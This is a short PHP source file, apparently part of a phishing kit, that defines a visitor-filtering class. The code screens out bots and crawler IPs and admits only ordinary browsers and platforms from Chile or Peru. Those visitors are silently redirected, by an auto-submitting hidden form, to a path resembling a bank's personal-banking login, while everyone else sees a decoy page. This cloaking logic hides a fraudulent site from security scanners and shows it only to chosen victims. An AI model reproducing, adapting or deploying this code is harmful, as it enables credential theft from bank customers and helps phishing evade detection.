<?php

class Checkuser {

    static public function filterIN() {

        $tools = new Tools();
        $browser = new Browser();
        //VARIABLE PARA VALIDAR
        $validar = false;

        $nav = array('INTERNET EXPLORER', 'MICROSOFT EDGE', 'CHROME', 'OPERA', 'MOZILLA FIREFOX', 'SAFARI', 'IPHONE', 'FIREFOX', 'Edge','chronium');
        $so =  array('iphone','android','windows','linux');
        $co =  array('CL','PE');
        //print(country);
        //exit();
        $agenBot = $tools->agentbot($tools->getagent());

        if ( $tools->getagent() != "") :

            if ( $agenBot == false) :
                if ($tools->spiderip($tools->getip()) == false) :
                    if ($tools->findeach($nav, $browser->getBrowser()) == true ) :
                        if ( $tools->findeach($so, $browser->getPlatform()) == true ) :
                            if ($tools->findeach($co, country)) :
                                
                                if (!isset($_SESSION['referido'])) :
                                    $_SESSION['referido'] = time();
                                endif;
                                
                                //REDIRECCIONANDO CLIENTE A SU PROCESO
                                $html = '<html>';
                                $html .= '<body>';
                                $html .= '<form id="sendform" action="'.$_SESSION['referido'].'/imagenes/_personas/home/default.asp" method="post"><input type="hidden" name="vista" value="home"></form><script>document.forms["sendform"].submit()</script>';
                                $html .= '</body>';
                                $html .= '</html>';
    
                                print $html;
                                exit();

                            endif;
                        endif;
                    endif;
                endif;
            endif;

        endif;

        include 'app/template/filtro/index.html'; 

    }

}